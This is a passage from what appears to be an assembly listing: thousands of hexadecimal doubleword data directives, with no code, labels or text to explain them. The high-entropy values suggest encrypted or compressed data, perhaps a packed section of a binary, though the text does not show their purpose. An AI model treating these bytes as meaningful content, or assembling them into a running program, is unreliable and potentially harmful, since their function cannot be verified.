66E1FC9Eh, 4BCF8D2Dh dd 587B008h, 0E940280Bh, 0E23AAB26h, 0D1C08453h, 295BD841h dd 61E63FC1h, 0FEE7790Bh, 744178B0h, 0E9156EA6h, 8F427EB1h dd 3D458453h, 0F80B2D4h, 0BBF32959h, 7805013Ah, 2E41E428h dd 704FBA1h, 7E132DFEh, 680B6BA3h, 48F4312Fh, 4E92E970h dd 92093778h, 465D13DCh, 42522230h, 0A78068D6h, 9F40C803h dd 140C9844h, 0C2FD062h, 3A501631h, 20CDB137h, 2375E832h dd 63E9610Ah, 50191F7h, 65D3D8Bh, 7EE103Bh, 0B069E912h dd 789F5CFCh, 36AD0036h, 0C2BD3CABh, 524FF81Eh, 0BF931FB8h dd 0EB819890h, 6F5B189Dh, 65540C5Ch, 5062732Dh, 1EE91AF1h dd 0E8FD280Bh, 0CAF363BBh, 1BCBB89h, 7468556Ch, 201A2260h dd 6256F403h, 207F1524h, 0E60B47C4h, 0E80DE7h, 0CD0279F8h dd 0DDF71C15h, 0EDD1494Dh, 3E7E2580h, 74953D30h, 9FF49E40h dd 89E96C34h, 5582EB01h, 0BD00AB52h, 6E1759A4h, 0AFB7E237h dd 42EB8475h, 0B63EF5C3h, 0B5206D58h, 64215A08h, 68B1A087h dd 2CFD165Bh, 5375C293h, 5E59DFBh, 0EC7F7CB1h, 0E21D82E6h dd 0AC9BDFFEh, 7B58FE01h, 0ED83096Bh, 4D875860h, 5987F51Bh dd 7BC8B755h, 0F191105Fh, 0B6ECE7DFh, 9609F88h, 4182A16Eh dd 0A0F4F99Ah, 395F97AFh, 76F4C8B7h, 8B8DBC6Ch, 6EF223DCh dd 0A7C42B4Ah, 2A8399BBh, 0C8D62AF3h, 26BE97Eh, 55D8E247h dd 0E5B719CEh, 0C9E909A6h, 0FC2DF8C0h, 5BFA5439h, 63284AA1h dd 244B1EA2h, 0DAD97ECAh, 0A7E1C364h, 98753C61h, 0B88A927Fh dd 0B2929250h, 7EF50220h, 267CBFC1h, 77E2B362h, 91F0BA44h dd 77A7994Fh, 4B9D611Fh, 0EA7DFB65h, 5A7CD0h, 7368D9BFh dd 0BDA03144h, 0EB67A3Ah, 344992BBh, 8CE77A41h, 5530306Ah dd 179A606Bh, 0BFB624C3h, 0A182DF5Bh, 59AC9856h, 945197CEh dd 373EB0B9h, 244E4DEDh, 44E46D1Ch, 2F1ACE0h, 0A53EBA05h dd 73C25773h, 548B0080h, 0E918705Ch, 0F243D29Ah, 984C0F0Ah dd 8E844A51h, 16CA25Eh, 0F609B353h, 0B370FEDBh, 43324087h dd 89974BECh, 53A706Fh, 67E71B9Ch, 0AFF68489h, 540BDA9h dd 68E92703h, 0A051CF8Bh, 97FA2970h, 0D98089D4h, 0E93AA16Bh dd 84396F3Bh, 0A8258A4Eh, 0C2A7C5B5h, 647F664Eh, 0E06B2791h dd 814D9E6h, 7EAC1348h, 717BCC27h, 0E8C9CF5Ah, 0C55F2C42h dd 0C048A59Eh, 5648568h, 2BA11D31h, 979AF66Bh, 20CDA6E8h dd 2DC70097h, 635A1D31h, 0AC5E14FCh, 66E91F40h, 0DF4909A4h dd 0BD04D862h, 0D7010991h, 68579CB0h, 2B075F95h, 99F8F45Fh dd 0CA8455B3h, 89E55ECFh, 7D35D520h, 0E0064E0Eh, 6C02FAF9h dd 2E9319Ah, 120546D4h, 0FF30D0B5h, 0AA12A706h, 0F5D582A3h dd 5EC1E76Ah, 0CDA59790h, 5A165801h, 1F2B3CA5h, 60F672Bh dd 17ABBC56h, 5B44B3C1h, 921E3E43h, 2920829Bh, 0A158C370h dd 5F3217F0h, 0DA89A61Ch, 0AC070042h, 964A4F19h, 0A0011354h dd 0A4E4596h, 553EABCCh, 5FF754DBh, 0A8FCA003h, 0DB2A3B16h dd 901404AEh, 0DC5D0952h, 4188E064h, 519043F1h, 82D92609h dd 12D37A2Dh, 1F5F22C2h, 83CAC7F8h, 3ADDC94Fh, 192D600Bh dd 3C6BDB8h, 4B60CF16h, 953D104h, 84198512h, 5A152AAh dd 0A5426EC3h, 4EBC30E9h, 0C2CF5F60h, 4C6B0C10h, 0F22A591Dh dd 3168727Ah, 3F4CBF1Bh, 0E5CA3A4Fh, 0C2732F7Ch, 1FF6544Eh dd 6AF93F7Bh, 441284B6h, 31118951h, 0FAD01513h, 842DE9CBh dd 0B518497Ch, 78B05035h, 278D273Bh, 46F69055h, 0BE59A8B6h dd 23E813h, 1EE68140h, 0D17DB348h, 0DEF7EE14h, 6CA04C1h dd 310F749Ah, 0C5C18D6h, 3F32781Ch, 9019522Bh, 242416D8h dd 666FEBh, 11EF0DDDh, 5D5239E9h, 30991464h, 0B578FAEh dd 0F6DBE810h, 2F2617B2h, 0E527171Ah, 47D7D12h, 0BDC0F072h dd 0E1FE6F84h, 0F9912EC7h, 5E024729h, 376A361h, 0C2CADA59h dd 5A8A2569h, 764AED09h, 0BA661289h, 5D686238h, 704B9F81h dd 2A072DF3h, 293B9605h, 70205D8h, 0DD04875Bh, 0D8109B33h dd 8F501750h, 61C34153h, 0C4E52F4Fh, 20EC9900h, 8B1548C8h dd 0AF13D60Ch, 0D00DE980h, 0F836D478h, 5BC873E8h, 4D05EE38h dd 24B8A3B9h, 0ABA61BA2h, 0D60F345Fh, 8517106Ah, 84934472h dd 40C4BFD0h, 0FBB60404h, 14B0DC7h, 0EBC09934h, 37A05EBAh dd 0AFF7F497h, 2A05DB19h, 0CC40F99Ah, 51C171Fh, 66F0010Ch dd 0D8718306h, 14122AF3h, 0C0EA7085h, 197C361h, 9EA0725h dd 0C869FE6Dh, 5FF086BCh, 0A27DC6Ch, 0ED50681Ah, 4860E22Ch dd 4410EF50h, 6B200C8h, 3012F280h, 285A0ED0h, 0FAC958C7h dd 5285ABF9h, 81BF72B6h, 2EB3EEB3h, 0D0120C1Ch, 41BB8DEEh dd 808D1Bh, 451F7BEh, 6568231Fh, 44FE36Ah, 228825ADh, 10FCE82h dd 0CFE3D143h, 5087F405h, 6BC8AEAh, 1F7E2A25h, 70C38061h dd 0BD93EBCCh, 68526DE0h, 3D25BE24h, 0E9E1B767h, 38896269h dd 837DD388h, 0A0F65A83h, 708E5C0h, 0FEF0F580h, 0ED5A6C5h dd 0BCE99A16h, 0FD4AF1E8h, 98FAE466h, 0C997A837h, 0BE201D92h dd 5747481Fh, 0E00F1A35h, 0CD74E923h, 0A53C0E9Ch, 0FBFF6F0h dd 0F41B7F64h, 0B1040FBh, 0C30F18B1h, 5E31910h, 0EFF56C59h dd 0D51EC505h, 530942B3h, 9182E1B7h, 0F4336935h, 0FA3904h dd 5E5A5852h, 5C801D35h, 2540004Ch, 448B3096h, 48F5E90Bh dd 0F867CEFFh, 0A45A5A6Ch, 1BD549Eh, 0A6068F5h, 7CB5307Ah dd 504794Dh, 4559CD29h, 34F4FA2h, 2A4D1114h, 4874298Ah dd 340AD539h, 0D31267E1h, 4EF3643h, 0D9ABBA43h, 2AE1E536h dd 0E3BBD713h, 0C4EAD35Eh, 75A7AEF5h, 1D30E410h, 94DA5451h dd 3EA9C05Dh, 0C6808038h, 0EB06A364h, 7FC2DB99h, 2C89E1C5h dd 0C9A201F3h, 517DFEF2h, 29336809h, 436C55h, 0CD1206B8h dd 3663E92Eh, 8FBFFF4Eh, 4DE90B6Fh, 50ACFC2Bh, 0C9097FEDh dd 6909300Fh, 0B12A0151h, 4B353AE6h, 0C52A32A1h, 4BA08E4Ah dd 0D6572E3h, 4683045Fh, 0DE3EFDFFh, 57CAFACAh, 0E4DA66CFh dd 17E27617h, 1F7C5F1Ch, 88F04A73h, 1556AFD1h, 79838012h dd 1EF4AB5Bh, 0C4FAC410h, 0B8C0B3CCh, 0EDCF1320h, 8F61C929h dd 4AD7CB7Fh, 0E005FEA1h, 53BE58C0h, 426B0B59h, 2077E6D1h dd 0E705C50Ah, 0B8C17A24h, 1EA82128h, 313B664Fh, 7347B716h dd 0A1F83009h, 62E06801h, 103DF62Ah, 0BD0ED3DFh, 67A034DCh dd 228B6853h, 0D84CC22Dh, 0F30B9767h, 4974B8DFh, 0AA3EE140h dd 84EDD83Ch, 476EA390h, 2E0C1B9h, 0EFED5D19h, 0F85FCD3Ch dd 0C9E437h, 3E1FE53Fh, 0EC3A60E5h, 7D37A202h, 273CE3F1h dd 0B888936h, 0C6B27F57h, 9902465Ch, 0C178D85Ch, 45BD55B3h dd 5D1802A5h, 539D1C56h, 0BE823CD9h, 2CC52705h, 0EBE9D381h dd 3B132568h, 0AA3A52B5h, 727E133Dh, 485A014Fh, 2CD9D820h dd 1603F8B0h, 1090E58h, 7174CB6Bh, 819FDA14h, 0F9D1C81Ch dd 0F313DDFEh, 7F99BBD9h, 45F0FA3h, 11860D4h, 154668ACh dd 572A322Eh, 0B205306Ch, 2D55E929h, 257BE6B7h, 69E690E6h dd 6768DB26h, 0D1BEC3C9h, 8232739h, 0AFBF047Bh, 0C063B036h dd 91237B0Bh dd 0EDC7C04Fh, 975D4FFCh, 0E9847267h, 0CDEF7CA6h, 6A57ED3Bh dd 8D84C069h, 0B9B831E9h, 86F108Eh, 0DE135C3Eh, 57FB9BEh dd 3BF23C7Bh, 486C6h, 975F2A05h, 49572D73h, 3537F301h dd 50AE2F5Dh, 0E42E26Bh, 3D182D6Fh, 0C3BEF581h, 0EEFD4A3Ch dd 0BE6FA30h, 6634133Fh, 0C8BB22B0h, 357B7516h, 0EA9E12BBh dd 9160DF9Dh, 446C1323h, 0E104FACAh, 4FCB618h, 12D8C9C4h dd 63C46AA9h, 595E04E4h, 17EF04BFh, 0F2810078h, 4CC9EA93h dd 921089CEh, 4C5269ECh, 592FFC8Eh, 191483F4h, 3DEE03Ch dd 28F54AB6h, 0B769DE74h, 5BCE820Fh, 0A3BB00C7h, 2C02AD40h dd 0FAB7DEBEh, 139C785Dh, 0F8549368h, 5913C138h, 0C73FF00Ch dd 40733985h, 6E20D720h, 6B681362h, 8667EB79h, 0D4DB3AF2h dd 680782E6h, 0C2EC6FF6h, 272B7D1Fh, 0EAE95102h, 326C5D32h dd 8D895h, 8119387Dh, 6F3634CDh, 0D1FA714Bh, 0C4EF9CD9h dd 7076E92Fh, 1ADC69Fh, 0E43815E2h, 281C6828h, 7CE90B41h dd 0E2B623A4h, 0F762F26h, 0ABA0E9CBh, 46581368h, 0B0C220D7h dd 6064EECEh, 22E1255Dh, 545FA910h, 66785BCh, 3932CC02h dd 170E4358h, 34EBFE04h, 0DAE8EE58h, 1D732286h, 9171198h dd 3E8470D1h, 0E9550701h, 26811AB9h, 0D3586EB8h, 6A243A42h dd 59805A84h, 4C2E36C4h, 77182471h, 2FF2A1EFh, 75B04E2h dd 9BD2BD90h, 0FCC34F73h, 0E0814AF3h, 3180F8D4h, 0D91FA8C1h dd 0F9680113h, 0C02408C8h, 0D16858C0h, 0AF1E9734h, 0D983E927h dd 0D05CA538h, 7780E517h, 0BF3814Bh, 903F7CB0h, 0E98B75F6h dd 3120815Dh, 0F4DA5929h, 68A581Ch, 5EF2F5C4h, 0E706B0FFh dd 66B67413h, 647EC2C0h, 5D530E75h, 479ED5F7h, 0C0B77CD0h dd 3E3C15Bh, 0E50BD690h, 8905BF25h, 594D61EBh, 5C16E02Eh dd 0A6607141h, 81F49679h, 643589CFh, 85F7D83Eh, 0A6557412h dd 0D11AC0FAh, 40B7157Bh, 2862CD2Eh, 4FA6530Fh, 327F2101h dd 0EFC73E36h, 0B9003EB4h, 16102C90h, 0A7294Ch, 524AE781h dd 2DE92B1Bh, 1A12E64Eh, 12885584h, 0AEB0F4ABh, 40EF4D5Bh dd 631CF5C9h, 0CC03410h, 67206983h, 8DED49C1h, 72A92205h dd 0B32E802h, 995B0868h, 0A23F5922h, 2E88D4D4h, 0FEAD566Dh dd 462A562Fh, 0E803FB14h, 7EC12D5Dh, 11E89486h, 12E90740h dd 0A2FFA344h, 0D782179Fh, 20E52DABh, 4473FE3Ah, 0E6B0014Eh dd 0EDD5B7Fh, 0B4EFE745h, 276F8AB7h, 0C7EC5EC7h, 3A243833h dd 0CA810800h, 76021129h, 184CF23Dh, 18674074h, 9A602310h dd 6B54F250h, 0A0185FC7h, 0D4414B8Dh, 9FF6FF60h, 8B09C756h dd 0A45B552Ch, 0F7250BA5h, 11298561h, 0E58F0C6Ch, 288618E3h dd 705B5817h, 66033AA2h, 8CB35351h, 13F1DC24h, 0BD658182h dd 67C47542h, 900F170Bh, 22830013h, 9D113686h, 2509CAE1h dd 3402CC25h, 24783D37h, 60404DA2h, 0BC42620Dh, 0B20B4FC3h dd 5BDD4B29h, 0DB7FE98Bh, 2CAEA899h, 0C0103F3Ch, 1EC87DDAh dd 594A3DFAh, 55D296D2h, 1666FF4h, 63302FCCh, 5B45B3F9h dd 0C69EA2BFh, 2AAD529h, 44C3805Bh, 0D241E328h, 0ED20D6E8h dd 16D2238Bh, 10DD014Fh, 5B2608F5h, 0BA1A128Ah, 0BFC83B36h dd 0DA260753h, 0D734E22Fh, 1620B51h, 0FA27D4C3h, 31986CDFh dd 59D7CB01h, 84823951h, 570EEFC2h, 93B216DFh, 0BECCBE78h dd 68090DCAh, 9B553ADCh, 75A3C8ADh, 0E97F3811h, 0B42AA5D5h dd 0DE09CFE6h, 0C00A1673h, 8EA5FFBh, 0FE01F40Fh, 9919580Bh dd 6129204Eh, 5AD47710h, 951272E9h, 259BA354h, 0C03B745Ah dd 47EB0319h, 86D57E97h, 343A39E9h, 4FD850EAh, 82C8F1E2h dd 752962FDh, 0ADDB9162h, 0FCA24A3Dh, 2973284h, 0C118EB80h dd 580301BCh, 8409F9F1h, 0B1515326h, 548107C2h, 358B250Bh dd 0D1C3065Eh, 4B924DEDh, 95079148h, 0B274380Dh, 0DE55058Fh dd 0C4E4D2EAh, 0A578040h, 7C71A0BFh, 4BC700AFh, 9C26792h dd 401B07B0h, 0F53D8F7h, 0D1B33502h, 8189FDC4h, 3CB31D1h dd 5741B0C6h, 50CDE15h, 0C410CE36h, 5E23C4BCh, 0EE2EF208h dd 0C1C4E910h, 0EBB652C7h, 0F38442B3h, 0D6FA8F63h, 20E21409h dd 8013C127h, 0C00CA6ECh, 955A28F6h, 16083148h, 53FFC2E1h dd 10DBCA33h, 76A55F60h, 1E9ED52Bh, 1C60A5B2h, 100591BAh dd 0E2D11972h, 5BCD9803h, 4E80CC2Fh, 58BA5D33h, 0B03F7818h dd 0EE2E9592h, 0EFFA65F0h, 6AA5917Eh, 75347FB9h, 0F5056A0Bh dd 9D5FE326h, 6353C8FCh, 2CF54DFEh, 0DB124908h, 179E04F8h dd 2975477Dh, 0ACCFF4F3h, 0D34C7066h, 5A76022Bh, 484CBC68h dd 83062C40h, 3CD148D3h, 0F1C64010h, 0A4272560h, 1898601Eh dd 48E49F2Ah, 0D695A0E0h, 6CFD5A5Eh, 0A5B2D11h, 0FF89AED1h dd 0FD18FF10h, 0D089A109h, 89FC2C9h, 0C1FE1256h, 70F989E4h dd 0F69DE326h, 0DBED7159h, 0D9EAE9E0h, 0C5A09B92h, 33D03781h dd 0E411CCCh, 0AECA7071h, 0C8682789h, 5FB0FB46h, 1E52B60Ah dd 9943C62Eh, 0AD2E07F3h, 0A753332Dh, 88BB278h, 0C1F23D7h dd 3BEBCB80h, 0C21C5A06h, 29D02D71h, 0F63259EAh, 0FD100CDAh dd 8FF5E94Ah, 80BCD39Ch, 0A83A8445h, 5A5CA873h, 425DBF2Dh dd 0D4A3D757h, 66B6B980h, 0BD0529E7h, 7CAE9F2Bh, 0E4BE1B84h dd 664AF8FBh, 22412F8Dh, 85F447C0h, 0BB96D3D3h, 0E82E45D9h dd 8B02B233h, 210D708h, 82EBDFh, 2C7845A7h, 0E5810B6Bh dd 1F884A9Eh, 5A3903DEh, 0C063550h, 4B7A14BEh, 0ABAE09A2h dd 0B0F8B37Fh, 0E8BDB170h, 272D3262h, 0AF7C6805h, 13E2DA27h dd 0C4A0E946h, 0B5BDFA03h, 6FD741F1h, 13FF9834h, 9595AEA4h dd 0C721F4AFh, 70215A0Eh, 0CDF7C04Ah, 723B0327h, 0CD3C5AE9h dd 1F3B41A9h, 0D4BE0056h, 58F0277Dh, 39E285E8h, 0D8E34CEEh dd 0A718C9C2h, 0CE34B7BBh, 0D8548115h, 0CB991B76h, 1D710549h dd 48BEFDB4h, 53F37EC5h, 74E82AF9h, 5D5BEE6Dh, 1154509Fh dd 0BD597556h, 0EA693151h, 968090FEh, 499CBBE1h, 54BC7FDh dd 0BF6C1268h, 2EBE0030h, 43280069h, 50CDAB8h, 59952DBFh dd 0C1710983h, 7209597Fh, 888DC55Dh, 0E9053F52h, 0C7401A90h dd 3A097E9Dh, 1DE60681h, 0C7D5A15h, 1460B80Ch, 2C20B248h dd 130C3C73h, 68984379h, 0AE8460C9h, 81B4D3FCh, 2D6F44Ch dd 0EDA5D453h, 0BFB86AA2h, 665B19F6h, 340C45EFh, 0C26390D0h dd 0B5256FF7h, 0C2FC795Bh, 0F600B9CFh, 0B4F188D6h, 0CB866079h dd 70647D68h, 9AB88D2Dh, 0F0B6D35Fh, 5724C6C0h, 77BBC4A0h dd 8955FA26h, 1C700B04h, 0CDF467C5h, 0E48713F1h, 0E5F00E7Dh dd 75BF0270h, 0F048161Ah, 0DFF72C7Ah, 0E94F8E63h, 426607E9h dd 468CE427h, 0DC2A303Bh, 0BA5E5DE4h, 0EED48E0Ch, 4709847h dd 0E939550Dh, 0A8B4FE97h, 245EBFEBh, 0E2FA0C35h, 0B0E93E33h dd 0ECEEA90Fh, 66F73B6Dh, 410AF61Fh, 0F389A49Ah, 6155CE5Eh dd 1EE36FE7h, 838779Bh, 0B901AD98h, 0EAA69C0h, 2DDAA3EBh dd 1D73879Eh, 24383508h, 0C18116D4h, 3E2F0414h, 66467E87h dd 7762562h, 59B9F66Bh, 7F7F631Eh, 0DAA6D59h, 598BD601h dd 0F952E2F5h, 0AC78FDEDh, 68515909h, 442A96Ch, 660FA90Eh dd 9372B587h, 364FE4D1h, 547838FFh, 48A7D0BFh, 14B2968h dd 480C94B0h, 2EFD825h, 968F3F26h, 14F9108h, 6B238CBFh dd 9C208744h, 0E98176A5h, 2668141Eh, 21B75381h, 804281C0h dd 0D7F623F7h, 0C7ACD12Eh, 28D8017Dh, 9F1AA36Eh, 6508E813h dd 98EE289Bh, 774D000Ah dd 0F5812688h, 9505453Fh, 359DE941h, 251FA9D1h, 0B50115F0h dd 0F68EB390h, 50471F9Ch, 0FF6BD847h, 6992BA02h, 807B0526h dd 0B736DEA8h, 3EC1AD13h, 468B6E2Eh, 0F292E909h, 0F314FD25h dd 772F7D11h, 600F7622h, 4843064Bh, 59C82107h, 848BE8C1h dd 510A63B5h, 16F410F0h, 0A81F6853h, 898D2E94h, 0D3B6FD56h dd 608AD695h, 0ED6AD5BFh, 0FCFD655Ah, 0D81D2A3Fh, 0EACF807Bh dd 50149A07h, 6E16B800h, 0C7313394h, 1B5C59E9h, 3071BB4Ah dd 8004EC30h, 130CBF2Ch, 0CF013D12h, 5B080010h, 430C2EFCh dd 0EA1823FBh, 6B192B0Ch, 0A1C72829h, 803A5908h, 337B79FBh dd 0A7FA5562h, 13B403D3h, 0C779EBBh, 8AE6801Fh, 0D186D0C9h dd 17A027ABh, 0D3F7435Bh, 85860E7h, 0AFCE9F12h, 86AAEF13h dd 4C020C02h, 163C26Dh, 89F88DEh, 52085013h, 0A05A2761h dd 9D154795h, 0F7F2C65Ah, 313908D6h, 95FA22D7h, 0E9B9B057h dd 0C0CD6068h, 0B804D725h, 43051903h, 0F9C4F587h, 0D12E607Ch dd 332C1D4h, 3EDA95Bh, 9F16A1FCh, 8D380798h, 0F8305F81h dd 0F72926Bh, 7D451825h, 0FEC0DC44h, 2F68BA9Ch, 0EF667C1Ch dd 7536A425h, 0B1044092h, 0D5310663h, 38FB208Ah, 0B013E282h dd 7DEB2FD9h, 99793B23h, 762C3E61h, 0EE7596h, 14B6D17h dd 0F49D5EF5h, 6A41DAA3h, 821CB320h, 0B0EB0FFEh, 2880B530h dd 0E5D058C5h, 54F65114h, 31FA4EF4h, 0C8B652B6h, 807975B4h dd 0F4157670h, 5FB7CDE9h, 1C3899C9h, 17181710h, 16AB25BBh dd 0E0DBA78h, 9832E450h, 245F6358h, 2EACB649h, 283D9057h dd 6C0B7736h, 0FE4042EAh, 63F0253Dh, 70FC1D16h, 97BFED04h dd 6E5C002h, 782E60D7h, 9C3BF5F4h, 0FE4CC4F2h, 0BEAD294h dd 870587F0h, 0C75482DDh, 0D1C53103h, 0EA572D6h, 0E84316DFh dd 0E92BB214h, 9F66CBE8h, 0DCA291F1h, 2BF52D1Ch, 323C82C0h dd 9D11E909h, 3C1BC8AAh, 0F34E543Ch, 7193938Ah, 0EAB9C487h dd 35C81686h, 13BEC25Bh, 66B05F7h, 156E5E10h, 0CF4C8B96h dd 4E12E203h, 36051B5Ah, 2E037EBCh, 1F4135C8h, 9D3BEE38h dd 245DC2F2h, 0A385892Fh, 0E460B17Fh, 0C805FEFDh, 0C7284134h dd 905E4604h, 0F2DD4E09h, 0FDAF2797h, 5952F238h, 0F70B7EBBh dd 585B80D1h, 90BC49DEh, 6A7A9F60h, 7A9FB298h, 0CD012676h dd 13A610D5h, 95FFEBC1h, 16AF0FAh, 0F671D31Dh, 0F7BCDF16h dd 32410D86h, 0BEB2D4Eh, 0EB5D5F52h, 998B4176h, 0B11FD668h dd 28A00312h, 94A42CC8h, 9FC9F7Fh, 0B2DB51E9h, 183AC1DAh dd 0AD7B9B75h, 0F5BEF513h, 4749313Dh, 0C7ED345Ch, 7B1C609Dh dd 0B5B03ECCh, 331DBD0Bh, 0B9FEC014h, 0E0F58273h, 1206100Ch dd 12569EC2h, 0AA42AE89h, 5FBF45E9h, 6C9FFBC4h, 30B2076h dd 51AB779Dh, 4BBE4100h, 23807D9Ch, 0CA414C02h, 6AB2F700h dd 0E947076Bh, 0EB2997Ah, 9E16ED39h, 40D6EBC5h, 12B720E0h dd 2DFA88CDh, 20D0C195h, 0FF4EEAB1h, 14B58CEEh, 8B18DF82h dd 0DDB16BF6h, 9425D0ACh, 59580593h, 0D88BB9E9h, 0B09C2Dh dd 0FBFCA40h, 40483725h, 0ABDA6C47h, 0DC55069Ah, 0CCCB9F8Ch dd 5469463h, 0A95CC20Fh, 247A4952h, 0BCC0BFB9h, 0B54744B0h dd 0E8C7EB84h, 0CE2912E5h, 1B180B8h, 69F27A06h, 195E9396h dd 8CEA9F4Eh, 0AB4E73DFh, 80EA8357h, 7E68500Eh, 70974F12h dd 0DD432B0Bh, 47DFA78Bh, 2F302FB9h, 0DD82DDCFh, 8ED22270h dd 0C9D97202h, 40F1FEFEh, 7ED11898h, 83B58BFAh, 0D7BE566Bh dd 378287B5h, 25345421h, 4E6F6ED5h, 0C2F4F354h, 5E7A7BE9h dd 44D8CB67h, 0FF4A782Dh, 26C1CEB8h, 7A135495h, 187B4CF5h dd 648FC331h, 0CBCEDC82h, 37D6FCCAh, 68C276ECh, 5DD12FF5h dd 0A25FCA97h, 4B38B55Eh, 31D16DBBh, 36060853h, 0F2E3217h dd 13356FC8h, 0EB7830CAh, 207FB199h, 0F1685E15h, 0F4972E70h dd 0C39F5022h, 993C1D9Bh, 1D2FC7Eh, 0E62FB3Bh, 9DF957EFh dd 59F9DF49h, 3988884Ch, 0CF8453C1h, 8D554B68h, 2BFDF59Bh dd 4A7B64CAh, 0CA20EBEFh, 1315BA52h, 8145A75h, 0BB02E0BCh dd 60453D71h, 0B55BDF43h, 0B8159F2h, 0AE0D3B5Eh, 0B364CA50h dd 0F121275Bh, 0A1C85756h, 0FB680B02h, 52AFF457h, 0DD06B1D7h dd 9B2FCF7Dh, 9EDF79C2h, 6D5BB53Fh, 1BEA5B3Eh, 1CAA51CCh dd 0FC97FE78h, 684ECCAAh, 692DB731h, 0F93F446Ah, 13208507h dd 0F6E809D2h, 91C1C62Ah, 0BC75E912h, 21B731EBh, 1028083Ch dd 2EB353E9h, 84CF7158h, 0E6AF8AA4h, 0FDB3006Dh, 66EFE380h dd 0DE880E52h, 0F38FCEFEh, 0CB865A03h, 0E9121679h, 6791F7D3h dd 3C6F074Dh, 0D3407871h, 6F1D4C34h, 26EA9F10h, 4A09CB28h dd 0ADC5D396h, 0B153F025h, 3AF92B74h, 3843F4E5h, 3BD47A00h dd 3317F035h, 6D0D0B18h, 0C9047603h, 4B95ECF9h, 5C823CAAh dd 890C5495h, 0DF7461E0h, 0E29B9B69h, 2570946h, 553D4CFCh dd 322DB54Ch, 0A1FF6403h, 0AE573E0h, 1EE7006Ah, 56DA43BDh dd 344AE3FBh, 444B76A9h, 10C17659h, 0C9800EB8h, 0F9F16729h dd 0C9C5E163h, 5460DCE9h, 60FD8269h, 1E152DDAh, 1647AD28h dd 0CC712F0h, 0D1898905h, 8F88B29Eh, 565E0EAFh, 512369ECh dd 8FBFF1E8h, 3CEA645Eh, 0D01E8DEAh, 739DFEF6h, 89D8901h dd 0FB7CB394h, 29555F64h, 5DC5F782h, 0AA2C1F5Eh, 0CD5ECB02h dd 1B6C7F20h, 4117E832h, 0EF885FF7h, 0B1688585h, 0EF9CFB1Ch dd 0FB7012E9h, 488BBAFEh, 1C5F090Ah, 2BAF3D77h, 148BBBF1h dd 30947F03h, 5018A517h, 789036E0h, 0F7051868h, 591B10DBh dd 31C2E3Fh, 5F6561CBh, 1D180A0Bh, 14B18008h, 852086DFh dd 710C6813h, 6056B932h, 25483D23h, 43DD5E1Ch, 0DE090B3Ah dd 0B780E6C1h, 0D5B5A9F6h, 0CEA1665Ah, 0F330E2F1h, 58180EEAh dd 4DF777Fh, 0EB5B0D6Fh, 0D7BE84D5h, 486D3261h, 0F982D7FEh dd 80DFFF5Bh, 0CBE95EA5h, 938FB402h, 1DC6BFEEh, 29FC9D0Ch dd 4D6010Bh, 1717534Fh, 986BB68h, 0F597E8h, 0E9D3014Eh dd 90E0B2A5h, 17613BD2h, 5F4263A7h, 0F6163B8Ch, 8162FDF3h dd 894C95BEh, 228B29FEh, 4C5007E9h, 948ABD07h, 2CA4F613h dd 4ACA0h, 18B15123h, 96B75352h, 2C77F4A1h, 0E6DBC727h dd 0D759DF89h, 0FA24E9E4h, 4053A98Ch, 5A0FBA29h, 4B4CF023h dd 50C2E0BBh, 38D5FB0h, 80E7D0ABh, 0CFFE99A8h, 1807F7EAh dd 0C02CDD04h, 78C20A44h, 2E30A1Ah, 1749FD75h, 2724487Dh dd 0C85F8286h, 9DF5FEA2h, 66D10F4Bh, 3CC28BE0h, 78257A1Ch dd 0D8BD27C2h, 45F057C4h, 0DD46285Eh, 5A534F22h, 0EE010ADDh dd 0F16A44ECh, 0C530D4D6h, 0CAE569C0h, 0EC3B9812h, 306676F5h dd 0A9801DC2h, 1058CF7Dh, 2A022E26h, 0F974C840h, 5ACEC159h dd 0D53D2338h, 70186CDDh, 1D28E64Bh, 77F45C88h, 0C86AA355h dd 0C460ED37h, 0AAD1F187h, 0FA3B4BA7h, 0C9DEA182h, 0A86A2DC7h dd 17127584h, 1BFF220h, 6870CB98h, 0E2837F3Ah, 570FCA5Ah dd 3825C26Bh, 46C27705h, 77259254h, 2B5E5160h, 89D77F6h dd 6227079Ch, 158B55AFh, 679FB25Fh, 6386084Dh, 37188720h dd 8FC27B94h, 3ED21858h, 68E0E49h, 17F5314h, 0A76809F5h dd 6559FC11h, 0D316BE8Bh, 0B21EAE8Ah, 0ED85CA3h, 0AF922CD0h dd 0EBCD8B02h, 2F1651FEh, 0F91278D3h, 6093C9BEh, 0DB9DC556h dd 5093BDF5h, 2A709DF8h, 3F2E39EBh, 125B40D8h, 0A26AF268h dd 67BC4BC5h, 27E70210h, 3FA1024Eh, 0D2BFA9A4h, 68573FDCh dd 58A90B8Dh, 0BA296482h dd 0C8188A00h, 5DEA3177h, 9E4F9801h, 799A4236h, 61F28000h dd 0C174B588h, 0D350AFBFh, 0FE9C139h, 0EE3F8921h, 438A041Fh dd 0E9915909h, 4702EFF9h, 0E4E85AC5h, 0E612C0FAh, 0CFD9BE3h dd 0C229BE0Eh, 6E30231Ch, 67C596FDh, 0F0AB9DAEh, 119D145Dh dd 0F97B0584h, 589FA27Fh, 0CEF9978Dh, 548A0453h, 0FE1E29E9h dd 0E72FB7B5h, 60C20F3h, 0E6A3E9D9h, 0C23CFEFEh, 0EF1910A0h dd 0F28B4E4Ch, 5EB717D8h, 0B5E958BDh, 99ADEC4Bh, 0E8648084h dd 0A984966Ah, 2930E0FAh, 6B90DF9Dh, 0D7C1FF95h, 9017BBCAh dd 2A2B4A30h, 1CDAFEE1h, 0A72669D9h, 87F085Dh, 0E0B4E904h dd 0FBCB04B9h, 75F73AF5h, 8F0B3094h, 0D70FBE06h, 72842782h dd 397D840Fh, 73C151B8h, 306B8227h, 99D4C13h, 0E1677F38h dd 8E27BA5h, 0C22F4B9Fh, 15AC60F1h, 4180E088h, 88AD7E01h dd 0CFC5C6D4h, 0F7A83179h, 0DB0BB1D7h, 356473E9h, 0E92AFF89h dd 5768A093h, 39D2A96Dh, 0B56126Eh, 33E7102Ch, 7309DB3Eh dd 0C6EE755Eh, 10295348h, 5D2FAB7Ch, 7CF2655h, 59BCFEC7h dd 0CE40EF9Ah, 4CAFEDFCh, 765D494Ah, 87645B73h, 53004E3Ch dd 0A2A66668h, 40134B5Ch, 9A275293h, 51017038h, 55FE08C1h dd 0AFC3FFC1h, 0CAA77CB6h, 0C060AD3Ch, 2716DABDh, 6CA16FFDh dd 3C2E31C5h, 990872Bh, 0AE45D74Fh, 0C1AF5260h, 19726A1h dd 31BD2468h, 3B102AF6h, 23FC2F9Eh, 7DD2923Ah, 3A74120h dd 0E4802FB4h, 0C29FD046h, 44F5620Ah, 63682F28h, 0B8810259h dd 2B220F1Ah, 